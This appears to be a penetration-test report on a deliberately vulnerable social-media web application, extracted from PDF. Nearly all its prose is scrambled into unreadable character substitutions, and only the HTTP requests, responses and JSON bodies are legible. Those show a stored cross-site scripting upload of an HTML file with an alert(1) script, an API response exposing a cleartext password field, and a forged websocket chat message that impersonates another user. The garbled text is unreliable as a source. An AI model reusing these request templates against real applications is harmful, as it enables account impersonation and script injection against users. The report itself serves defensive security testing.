X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
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X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"59c-QTYCw7+0rsD6rW3/u/5BGM2tg+4" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
[ 
  { 
    "fullName": "Rafi Seferyan", 
    "occupation": "Software Engineer", 
    "pfp": "rafi.png", 
    "userId": "646e0f22224a4bdaf78bfda4", 
    "friends": [] 
  }, 
  { 
    "fullName": "Jake Karnes", 
    "occupation": "Hacker", 
    "pfp": "karnes.jpeg", 
    "userId": "646e0f22224a4bdaf78bfda5", 
    "friends": [] 
  }, 
  { 
    "fullName": "NetSPI TestAccount", 
    "occupation": "Data Scientist Hacker", 
    "pfp": "netspi-logo.png", 
    "userId": "646e0f22224a4bdaf78bfda6", 
    "friends": [] 
  }, 
[TRUNCATED] 
] 
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2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
V2*!588>-+5,-#(!5>>#K9!19*39!,#!18>#5C!G->*9!K2-+2!+5(!M*!*]8>#-,*C!,#!*]*+1,*!?3#99.$-,*!$+3-8,-(;!cg$$d!
5,,5+T9!5;5-(9,!19*39!#G!,2*!588>-+5,-#(Q!V2*9*!,78*9!#G!G->*9!-(+>1C*S!M1,!53*!(#,!>-H-,*C!,#U!_V:&S!
$_V:&S!$a<S!_V:S!g_V:&S!5(C!$LhQ!

A$/0##$97"*)09.
N(913*!,25,!9*3=*3.9-C*!+#(,3#>9!53*!81,!-(,#!8>5+*!,25,!=5>-C5,*!5(C!3*9,3-+,!18>#5C*C!G->*!*],*(9-#(9S!
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>#+5,-#(9S!5(C!+#(,*(,!,#!#(>7!,25,!K2-+2!-9!3*F1-3*C!G#3!5!C*G-(*C!M19-(*99!8138#9*Q!
<#>>#K!,2*9*!3*+#HH*(C5,-#(9!,#!9*+13*!G->*!18>#5C!G1(+,-#(5>-,7U!

•! E*)*+,!98*+-5>!+2535+,*39!-(!G->*!(5H*9!91+2!59!i\i!5(C!iji!
•! ?2*+T\=5>-C5,*!G->*!*],*(9-#(!
•! E*(5H*!19*3!18>#5C*C!+#(,*(,S!5(C!5CC!,2*!*]8*+,*C!G->*!*],*(9-#(!
•! a2*(!8#99-M>*S!+2*+T!G->*!9-;(5,13*9!G#3!M-(537!G->*9!c91+2!59!-H5;*!#3!JI<!G->*9d!
•! a2*(!*]8*+,*C!G->*!18>#5C!-9!5(!-H5;*S!3*(C*3!,2*!+#(,*(,!K2*(!5++*99*CS!G#3!*]5H8>*!M7!19-(;!

k-H;l!,5;9!
•! <#3!53M-,3537!G->*9!,25,!+5(!M*!18>#5C*C!5(C!5++*99*CS!9*3=*!,2*!G->*9!K-,2!i?#(,*(,.I-98#9-,-#(U!

5,,5+2H*(,i!2*5C*3!-(9,*5C!#G!3*(C*3-(;!,2*!G->*!
•! I#(f,!5>>#K!*]*+1,-#(!G3#H!18>#5C!G#>C*3!
•! &-H-,!G->*!9-4*9!
•! B9*!5(,-.=-319!K2*(!8#99-M>*!,#!9+5(!18>#5C*C!+#(,*(,Q!
•! 'G!+#H83*99*C!G->*!18>#5C9!53*!*],35+,*C!#(!,2*!9*3=*3S!588>7!,2*9*!C-3*+,-#(9!,#!*5+2!G->*!#(*!M7!

#(*!

a2*(!5>>#K-(;!5!19*3!,#!=-*K!,2*!G->*S!3*,13(!-,!K-,2!5!?#(,*(,.V78*!2*5C*3!#G!,*],\8>5-(!K-,2!,2*!g.
?#(,*(,.V78*.`8,-#(9!2*5C*3!9*,!,#!i(#9(-GGi!c(#,!5=5->5M>*!-(!$5G53-dQ!0CC-,-#(5>>7S!5!?#(,*(,.$*+13-,7.
J#>-+7!c?$Jd!+5(!M*!1,->-4*C!,#!83*=*(,!-(>-(*!9+3-8,9!G3#H!M*-(;!>#5C*C!M7!>*5=-(;!#1,!,2*!f1(95G*.-(>-(*f!
-(9,31+,-#(!G3#H!,2*!f9+3-8,.93+f!C-3*+,-=*Q!
'G!,2*!19*3!+5(!C#K(>#5C!,2*!G->*S!9*(C!,2*!C#+1H*(,!59!5(!5,,5+2H*(,!K-,2!i?#(,*(,.I-98#9-,-#(U!
5,,5+2H*(,i!2*5C*3!-(9,*5C!#G!3*(C*3-(;!,2*!G->*S!5(C!3*F1-3*!,2*!19*3!,#!#8*(!-,!#1,9-C*!#G!,2*!
588>-+5,-#(f9!C#H5-(Q!'G!5!91M9*,!#G!G->*!*],*(9-#(9!53*!(**C*C!G#3!18>#5CS!9*,!18!5(!5>>#K!>-9,!5(C!C*(7!5>>!
G->*9!,25,!C#!(#,!+#(G#3HQ!

366$/*$7.BAC8.
LCM!
2,,89U\\*]5H8>*Q58-Q(*,985Q=1>(Q(*,98-.1Q+#H\8#9,9!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!5(7!19*3!+5(!5CC!5(!53M-,3537!G->*!,78*!59!5!83#G->*!8-+,13*!C13-(;!,2*!3*;-9,35,-#(!
83#+*99Q!V2-9!5>>#K*C!"*,$J'!,#!5CC!5(!53M-,3537!G->*!+#(,5-(-(;!5!+3#99.9-,*!9+3-8,-(;!857>#5C!K2-+2!K->>!
*]*+1,*!-G!5(7#(*!K*3*!,#!=-*K!,2*!19*39!83#G->*!8-+,13*Q!

@Q!01,2*(,-+5,*!,#!,2*!588>-+5,-#(!59!5(7!19*3!K2->*!-(,*3+*8,-(;!,35GG-+!-(!5!83#]7-(;!,##>S!91+2!59!6138!
$1-,*Q!

AQ!63#K9*!,#!,2*!2#H*85;*!#G!,2*!588>-+5,-#(!5(C!H5T*!(#,*!#G!,2*!5M->-,7!,#!+3*5,*!5!8#9,!+#(,5-(-(;!5(!
-H5;*Q!
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!

OQ!$1MH-,!5!8#9,!+#(,5-(-(;!5(7!53M-,3537!,*],!5(C!59!K*>>!59!5(!53M-,3537!82#,#!5,,5+2H*(,!5(C!#M9*3=*!
,2*!3*91>,-(;!_VVJ!3*F1*9,\3*98#(9*!85-3Q!

V//>!C&W*&?(U!
POST /posts HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 34851 
Sec-Ch-Ua:  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Sec-Ch-Ua-Mobile: ?0 
Authorization: Bearer [REDACTED] 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/114.0.5735.199 Safari/537.36 
Sec-Ch-Ua-Platform: "" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="userId" 
 
 
64a2bcd955e19fc3da4a8950 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="description" 
 
 
netspi photo test 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picture"; filename="scanny.png" 
Content-Type: image/png 
 
 
�PNG 
[TRUNCATED] 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picturePath" 
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scanny.png 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI-- 

!
V//>!C&?7=#?&U!
HTTP/1.1 201 Created 
Server: nginx 
Date: Mon, 03 Jul 2023 13:39:56 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 6286 
Connection: close 
[TRUNCATED] 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"188e-JMui8LPOiyQzURSsufP4GjEiNus" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
[ 
  { 
    "_id": "64a2bcd955e19fc3da4a8952", 
    "userId": "64a2bcd955e19fc3da4a8947", 
    "firstName": "Jake", 
    "lastName": "Karnes", 
    "location": "Portland, OR", 
    "description": "Just hit the lottery and now this is what I eat for breakfast.", 
    "picturePath": "post1.jpeg", 
    "userPicturePath": "karnes.jpeg", 
    "likes": { 
      "64a2bcd955e19fc3da4a8946": true, 
      "64a2bcd955e19fc3da4a8948": true, 
      "64a2bcd955e19fc3da4a8949": true, 
      "64a2bcd955e19fc3da4a894a": true 
    }, 
    "comments": [ 
      "oooooo this looks good!", 
      "Wish I could hit the lottery", 
      "Jake! You should share that!" 
    ], 
    "__v": 0, 
    "createdAt": "2023-07-03T12:19:38.062Z", 
    "updatedAt": "2023-07-03T12:19:38.062Z" 
  }, 
[TRUNCATED] 
  { 
    "_id": "64a2cfac55e19fc3da4a8992", 
    "userId": "64a2bcd955e19fc3da4a8950", 
    "firstName": "NetSPI", 
    "lastName": "Test", 
    "location": "Test Location", 
    "description": "netspi photo test", 
    "picturePath": "scanny.png", 
    "userPicturePath": "netspi-logo.png", 
    "likes": {}, 
    "comments": [], 
    "createdAt": "2023-07-03T13:39:56.712Z", 
    "updatedAt": "2023-07-03T13:39:56.712Z", 
    "__v": 0 
  } 
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] 

XQ!:5T*!(#,*!#G!,2*!G#>>#K-(;!857>#5C!,25,!K->>!M*!91M9,-,1,*C!G#3!,2*!8#9,!-H5;*Q!

>%,3=%8Z!
<html> 
    <body> 
        <script> 
            alert(1); 
        </script> 
    </body> 
</html> 

DQ!:#C-G7!,2*!+58,13*C!3*F1*9,!,#!+#(,5-(!,2*!?3#99.$-,*!$+3-8,-(;!857>#5CQ!0>9#!H5T*!(#,*!,25,!,2*!
fG->*(5H*fS!f8-+,13*J5,2f!5(C!,2*!f?#(,*(,.V78*f!8535H*,*39!53*!5>9#!+25(;*C!,#!H5-(,5-(!+#(9-9,*(+7!G#3!
,2*!H#C-G-*C!18>#5C*C!G->*Q!

E+2$2#%3!V//>!C&W*&?(U!
POST /posts HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 34851 
Sec-Ch-Ua:  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Sec-Ch-Ua-Mobile: ?0 
Authorization: Bearer [REDACTED] 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/114.0.5735.199 Safari/537.36 
Sec-Ch-Ua-Platform: "" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="userId" 
 
 
64a2bcd955e19fc3da4a8950 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="description" 
 
 
netspi photo test 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picture"; filename="scanny.png" 
Content-Type: image/png 
 
 
�PNG 
[TRUNCATED] 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picturePath" 
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scanny.png 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI-- 

!
@=82[2&8!V//>!C&W*&?(U!
POST /posts HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
Content-Length: 34851 
Sec-Ch-Ua:  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Sec-Ch-Ua-Mobile: ?0 
Authorization: Bearer [REDACTED] 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/114.0.5735.199 Safari/537.36 
Sec-Ch-Ua-Platform: "" 
Accept: */* 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Site: same-site 
Sec-Fetch-Mode: cors 
Sec-Fetch-Dest: empty 
Referer: https://example.app.netspa.vuln.netspi-u.com/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close 
 
 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="userId" 
 
 
64a2bcd955e19fc3da4a8950 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="description" 
 
 
netspi photo test 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picture"; filename="netspi-xss.html" 
Content-Type: text/html 
 
 
<html> 
    <body> 
        <script> 
            alert(1); 
        </script> 
    </body> 
</html> 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI 
Content-Disposition: form-data; name="picturePath" 
 
 
netspi-xss.html 
------WebKitFormBoundaryg1gCBH6fhVCNLLMI-- 

!
V//>!C&?7=#?&U!
HTTP/1.1 201 Created 
Server: nginx 
Date: Mon, 03 Jul 2023 14:23:04 GMT 
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Content-Type: application/json; charset=utf-8 
Content-Length: 6631 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"19e7-h/hO1GwIaWgju211IqIhbC8hvus" 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
[ 
{ 
    "_id": "64a2bcd955e19fc3da4a8952", 
    "userId": "64a2bcd955e19fc3da4a8947", 
    "firstName": "Jake", 
    "lastName": "Karnes", 
    "location": "Portland, OR", 
    "description": "Just hit the lottery and now this is what I eat for breakfast.", 
    "picturePath": "post1.jpeg", 
    "userPicturePath": "karnes.jpeg", 
    "likes": { 
  "64a2bcd955e19fc3da4a8946": true, 
  "64a2bcd955e19fc3da4a8948": true, 
  "64a2bcd955e19fc3da4a8949": true, 
  "64a2bcd955e19fc3da4a894a": true 
}, 
    "comments": [ 
      "oooooo this looks good!", 
      "Wish I could hit the lottery", 
      "Jake! You should share that!" 
    ], 
    "__v": 0, 
    "createdAt": "2023-07-03T12:19:38.062Z", 
    "updatedAt": "2023-07-03T12:19:38.062Z" 
}, 
[TRUNCATED] 
{ 
    "_id": "64a2da2955e19fc3da4a899a", 
    "userId": "64a2bcd955e19fc3da4a8950", 
    "firstName": "NetSPI", 
    "lastName": "Test", 
    "location": "Test Location", 
    "description": "netspi photo test", 
    "picturePath": "netspi-xss.html", 
    "userPicturePath": "netspi-logo.png", 
    "likes": {}, 
    "comments": [], 
    "createdAt": "2023-07-03T14:24:41.074Z", 
    "updatedAt": "2023-07-03T14:24:41.074Z", 
    "__v": 0 
} 
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] 

ZQ!"5=-;5,*!M5+T!,#!,2*!2#H*85;*!#G!,2*!588>-+5,-#(S!3-;2,.+>-+T!#(!,2*!H#C-G-*C!-H5;*!5(C!,2*(!9*>*+,!
i#8*(!-H5;*!-(!(*K!,5MiQ!

!

/Q!`M9*3=*!,25,!,2*!?3#99.$-,*!$+3-8,-(;!857>#5C!*]*+1,*9!,2*!W5=5$+3-8,!-(!,2*!+>-*(,f9!M3#K9*!K2*(!
#8*(*C!-(!5!(*K!,5MQ!

!
!

!#*1<*18#-@*&A*B/*7,&;"1:*15&
-:;9$("<);)*+.B9)D:$.?=%./YXDOZDXD.
&$'$()*+%._-;2!
,-&&.-E.>"8$.&/0($%./Q/!c?L$$UOQ@\0LU"\0?U&\JEU&\B'U"\$U?\?U_\'U"\0U"d.
123&4.FGFH.,"*$50(+%.0@P.$*3=*3.$-C*!E*F1*9,!<#3;*37!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
ODQYAQZOQ@DZ!.!088>-+5,-#(!<3#(,*(C!.!
2,,89U\\*]5H8>*Q588Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
09!853,!#G!,2*!588>-+5,-#(!K#3TG>#KS!,2*!588>-+5,-#(!*9,5M>-92*C!5!+#((*+,-#(!,#!5(!*],*3(5>!3*9#13+*Q!',!-9!
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!

8#99-M>*!,#!H#C-G7!,2*!*(C8#-(,!G#3!,2-9!3*9#13+*!5(C!G#3+*!,2*!588>-+5,-#(!9*3=*3!,#!5,,*H8,!,#!5++*99!5!
C-GG*3*(,!>#+5,-#(Q!

A$/0##$97"*)09.
N(913*!9*(9-,-=*!*(C8#-(,!-(G#3H5,-#(!9,579!9*3=*3.9-C*!5(C!-9!(#,!H#C-G-5M>*!M7!,2*!+>-*(,Q!

366$/*$7.BAC8.
LCM!
2,,89U\\*]5H8>*Q588Q(*,985Q=1>(Q(*,98-.1Q+#H!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!,2*!588>-+5,-#(!K->>!5,,*H8,!,#!G*,+2!5!83*=-*K!#G!5!>-(T!9*(,!-(!,2*!81M>-+!+25,!
G1(+,-#(5>-,7Q!V2-9!-9!5M>*!,#!M*!H-919*C!M7!*(C.19*39!,#!G#3+*!,2*!588>-+5,-#(!9*3=*3!,#!H5T*!53M-,3537!
_VVJ!#3!I"$!3*F1*9,9!,#!-(,*3(5>!#3!5,,5+T*3.+#(,3#>>*C!*(C8#-(,9Q!

@Q!01,2*(,-+5,*!,#!,2*!588>-+5,-#(!59!5(7!19*3!K2->*!-(,*3+*8,-(;!,35GG-+!-(!5!83#]7-(;!,##>S!91+2!59!6138!
$1-,*Q!

!

AQ!"5=-;5,*!,#!,2*!;3#18!+25,!G*5,13*!5(C!,2*(!*(,*3!5(7!53M-,3537!;3#18!(5H*!-(!,2*!f3##Hf!G-*>CQ!J3*99!
,2*!fW#-(\?3*5,*!E##Hf!M1,,#(!,#!83#+**CQ!

!
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!

OQ!N(,*3!5!>-(T!,#!5(!53M-,3537!K*M9-,*!5(C!#M9*3=*!,25,!,2*!588>-+5,-#(!G*,+2*9!5!83*=-*K!#G!,2*!83#=-C*C!
>-(T!59!853,!#G!,2*!H*995;*Q!

!

XQ!`M9*3=*!,25,!M7!91MH-,,-(;!5!;3#18!+25,!H*995;*!K-,2!5!>-(T!,#!5(!5,,5+T*3.+#(,3#>>*C!_VVJ!9*3=*3S!
91+2!59!6138!?#>>5M#35,#3S!,2*!588>-+5,-#(!9*3=*3!H5T*9!5!3*F1*9,!,#!,2*!19*3!98*+-G-*C!*(C8#-(,Q!
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!
!

!
!

!@%:-7&(0%.%6-'8(9-":-"#/(

!'(C"1D3,-"(&E-7+="7/1*&8&F377G"1@&-(&#*1<*1&A*76"(7*&
-:;9$("<);)*+.B9)D:$.?=%.OOP@/[YXD.
&$'$()*+%.:*C-1H!
,-&&.-E.>"8$.&/0($%.ZQD!c?L$$UOQ@\0LU"\0?U&\JEU&\B'U"\$UB\?U_\'U"\0U"d.
123&4.FGFH.,"*$50(+%.0X.'(9*+13*!I*9-;(!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
588Q(*,985Q=1>(Q(*,98-.1Q+#H!.!588Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
0!+>*53,*],!8599K#3C!-9!3*,13(*C!-(!5!9*3=*3!3*98#(9*!5G,*3!5!=5>-C!19*3!259!51,2*(,-+5,*C!,#!,2*!
588>-+5,-#(Q!'G!5!19*3!>*5=*9!,2*-3!+#H81,*3!1(5,,*(C*CS!5!H5>-+-#19!19*3!K-,2!8279-+5>!5++*99!,#!,2*!
H5+2-(*!+#1>C!3*+#=*3!,2*!=-+,-H!19*3f9!8599K#3C!G3#H!,2*!M3#K9*3Q!

A$/0##$97"*)09.
V2*!588>-+5,-#(!92#1>C!(*=*3!3*,13(!19*3!+3*C*(,-5>9!,#!,2*!+>-*(,Q!?25(;*!,2*!588>-+5,-#(!+#C*!,#!83*=*(,!
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!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!&<!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

-,!G3#H!3*,13(-(;!5(7!19*3!8599K#3C9!-(!9*3=*3!3*98#(9*9Q!

366$/*$7.BAC8.
LCM!
2,,89U\\588Q(*,985Q=1>(Q(*,98-.1Q+#H\19*39\m19*3'In!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!,2*!588>-+5,-#(!3*,13(9!,2*!19*39!8599K#3C!-(!+>*53,*],!-(!,2*!9*3=*39!3*98#(9*Q!V2-9!
H*5(9!,25,!92#1>C!5(!5,,5+T*3!M*!5M>*!,#!+#H83#H-9*!,2*!588>-+5,-#(S!,2*7!H57!M*!5M>*!,#!*],35+,!,2-9!
C5,5!19-(;!5,,5+T9!91+2!59!+3#99.9-,*!9+3-8,-(;Q!

@Q!a2->*!83#]7-(;!,35GG-+!,23#1;2!5(!588>-+5,-#(!91+2!59!6138!$1-,*S!51,2*(,-+5,*!,#!,2*!588>-+5,-#(!59!5(7!
19*3Q!

AQ!&#+5,*!,2*!5M#=*!3*F1*9,!-(!,2*!83#]7!5(C!#M9*3=*!,2*!19*39f!8599K#3C!-9!=-9-M>*!-(!+>*53,*],!-(!,2*!
3*98#(9*Q!

V//>!C&W*&?(U!
GET /users/642be095ede13d861a7fcc6a HTTP/1.1 
Host: example.api.netspa.vuln.netspi-u.com 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 
Firefox/111.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://jkeane.app.netspa.vuln.netspi-u.com/ 
Authorization: Bearer [REDACTED] 
Credentials: include 
Origin: https://example.app.netspa.vuln.netspi-u.com 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-site 
Te: trailers 
Connection: close 

!
V//>!C&?7=#?&U!
HTTP/1.1 200 OK 
Server: nginx 
Date: Tue, 04 Apr 2023 08:35:02 GMT 
Content-Type: application/json; charset=utf-8 
Content-Length: 498 
Connection: close 
Cross-Origin-Embedder-Policy: require-corp 
Cross-Origin-Opener-Policy: same-origin 
Cross-Origin-Resource-Policy: cross-origin 
X-DNS-Prefetch-Control: off 
X-Frame-Options: SAMEORIGIN 
Strict-Transport-Security: max-age=15552000; includeSubDomains 
X-Download-Options: noopen 
X-Content-Type-Options: nosniff 
Origin-Agent-Cluster: ?1 
X-Permitted-Cross-Domain-Policies: none 
Referrer-Policy: no-referrer 
X-XSS-Protection: 0 
Access-Control-Allow-Origin: * 
ETag: W/"1f2-MlbU9NrOFRaC4oDxNU5q5keMkW8" 
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!

Strict-Transport-Security: max-age=63072000 
Cache-Control: no-cache, no-store, never-cache, never-ever-cache 
 
 
{ 
  "_id": "642be095ede13d861a7fcc6a", 
  "firstName": "NetspiFirst", 
  "lastName": "NetspiLast", 
  "email": "test3@netspi.com", 
  "password": "[REDACTED]", 
  "cleartext": "[REDACTED]", 
  "picturePath": "image.png", 
  "friends": [], 
  "twitter": "", 
  "linkedin": "", 
  "isAvatarImageSet": false, 
  "avatarImage": "", 
  "location": "NetspiLocation", 
  "occupation": "NetspiOccupation", 
  "viewedProfile": 1583, 
  "impressions": 2044, 
  "createdAt": "2023-04-04T08:32:21.419Z", 
  "updatedAt": "2023-04-04T08:32:21.419Z", 
  "__v": 0 
} 

!

!'(7/CC-+-*(,&'(6/,&H3=-@3,-"(&8&>=-*(,8#-@*&>"(,1"=7&
-:;9$("<);)*+.B9)D:$.?=%.@/P@@/XDOD.
&$'$()*+%.&#K!
,-&&.-E.>"8$.&/0($%.ZQD!c?L$$UOQ@\0LU"\0?U&\JEU"\B'U"\$UB\?U&\'U&\0U"d.
123&4.FGFH.,"*$50(+%.0O.'()*+,-#(!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
58-Q(*,985Q=1>(Q(*,98-.1Q+#H!.!58-Q(*,985Q=1>(Q(*,98-.1Q+#H! XXO!,+8!

-:;9$("<);)*+.=$*");8..
V2*!588>-+5,-#(!19*9!+>-*(,.9-C*!-(81,!=5>-C5,-#(!,#!*(913*!,25,!,2*!+>-*(,!-(81,9!83#8*3!C5,5!,#!G#3H!G-*>C9Q!
0!H5>-+-#19!19*3!+5(!M78599!,2*!+>-*(,.9-C*!+#(,3#>9!5(C!91MH-,!1(*]8*+,*C!C5,5!,#!,2*!588>-+5,-#(Q!

?#@"/*.
'(91GG-+-*(,!-(81,!=5>-C5,-#(!5>>#K9!1(*]8*+,*C!19*3!-(81,!,#!M*!91MH-,,*C!,#!,2*!588>-+5,-#(Q!V2-9!H57!
H#C-G7!,2*!588>-+5,-#(!M*25=-#3!#3!3*(C*3!9#H*!8#3,-#(9!#G!,2*!588>-+5,-#(!1(195M>*Q!

A$/0##$97"*)09.
B9*!+>-*(,.9-C*!-(81,!=5>-C5,-#(!5(C!+#(,3#>!#(>7!59!5!3*C1(C5(,!G#3H!#G!-(81,!=5>-C5,-#(Q!'H8>*H*(,!9*3=*3.
9-C*!-(81,!=5>-C5,-#(!5(C!+#(,3#>9!,25,!*(913*!5(7!C5,5!3*+*-=*C!G3#H!19*39!K->>!M*!91M)*+,!,#!=5>-C5,-#(!
*=*(!-G!,2*!19*3!C-95M>*9!5(7!+>-*(,.9-C*!+#(,3#>9Q!
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! ! "#$%!&>!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

366$/*$7.BAC8.
LCM!
2,,89U\\58-Q(*,985Q=1>(Q(*,98-.1Q+#H\+25,\m+25,'In!

-$()6)/"*)09.
)0&#%+2=!I!
"*,$J'!-C*(,-G-*C!,25,!,2*!+25,!G1(+,-#(5>-,7!#G!,2*!588>-+5,-#(!*(5M>*9!5!19*3!,#!,78*!-(!H*995;*9S!
2#K*=*3!-,!5991H*9!,2*7!K->>!C#!9#!19-(;!,2*!B'Q!'G!5(!5,,5+T*3!H#C-G-*9!,2*!K*M9#+T*,!3*F1*9,!19-(;!5!
83#]7S!,2*7!53*!5M>*!,#!+25(;*!,2*!9*(C*3S!-H5;*!5(C!,-H*9,5H8!,#!-H8*39#(5,*!5(#,2*3!19*3!#3!+3*5,*!
-(5++135,*!,-H*9,5H89Q!

@Q!a2->*!83#]7-(;!,35GG-+!,23#1;2!5(!588>-+5,-#(!91+2!59!6138!91-,*S!51,2*(,-+5,*!,#!,2*!588>-+5,-#(!5(C!
(5=-;5,*!,#!,2*!5GG*+,*C!BE&Q!

!

AQ!N(,*3!5!(5H*!-(!,2*!fN(,*3!3##Hf!M#]!5(C!+>-+T!fW#-(\?3*5,*!E##HfQ!

Q+&%(&!#&G!01%(!+=='Z!

!

OQ!V78*!5(7!=5>1*!-(,#!,2*!+25,!M#]!5(C!+>-+T!,2*!9*(C!-+#(Q!&#+5,*!,2*!K*M9#+T*,!3*F1*9,!G#3!,2-9!-(!7#13!
83#]7Q!

Q1%(!<=9Z!
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!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!&?!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

!
;&<?=0D&(!/=!)&+F&+Z!
42["newChatMessage",{"body":"netspi","senderId":"gF7BQVX4XA7DffveAAAl","userImage":"sc
heetz.png","timestamp":"06/04/2023, 08:17:26","username":"Cool Jake"}] 

XQ!NC-,!,2*!K*M9#+T*,!3*F1*9,!,#!5>,*3!,2*!9*(C*3'I!,#!5(#,2*3!19*3'IS!,2*!-H5;*!,#!5(#,2*3!-H5;*!9,#3*C!
#(!,2*!9*3=*3S!,2*!,-H*9,5H8!,#!5(#,2*3!C5,*!5(C!,2*!19*3(5H*!,#!5(#,2*3!(5H*Q!E*9*(C!,2*!3*F1*9,!
5(C!#M9*3=*!,25,!,2-9!-9!91++*99G1>!5(C!588*539!,25,!,2*!H*995;*!259!#3-;-(5,*C!G3#H!5(#,2*3!19*3!19-(;!
5!19*3.9188>-*C!,-H*9,5H8Q!

L78%(&8!G&<?=0D&(!(=!?&+F&+Z!
42["newChatMessage",{"body":"netspi","senderId":"642d71685dcfc31a330e50a4","userImage"
:"rafi.png","timestamp":"06/04/2021, 08:20:30","username":"Rafi"}] 

Q1%(!+&?*3(Z!

!
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! ! "#$%!:/!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

!

!A1;(0%.%6-'8(9-":-"#/(

!'(C"1D3,-"(&E-7+="7/1*&8&H*1I"7*&J11"1&9*773:*&
-:;9$("<);)*+.B9)D:$.?=%.@O[ZD/ZDPA.
&$'$()*+%.&#K!
,-&&.-E.>"8$.&/0($%.OQ/!c?L$$UOQ@\0LU"\0?U_\JEU"\B'U"\$UB\?U&\'U"\0U"d.
123&4.FGFH.,"*$50(+%.0D.$*+13-,7!:-9+#(G-;135,-#(!

366$/*$7.388$*8."97.&$(')/$8.
6))"/! >EC/T)U!
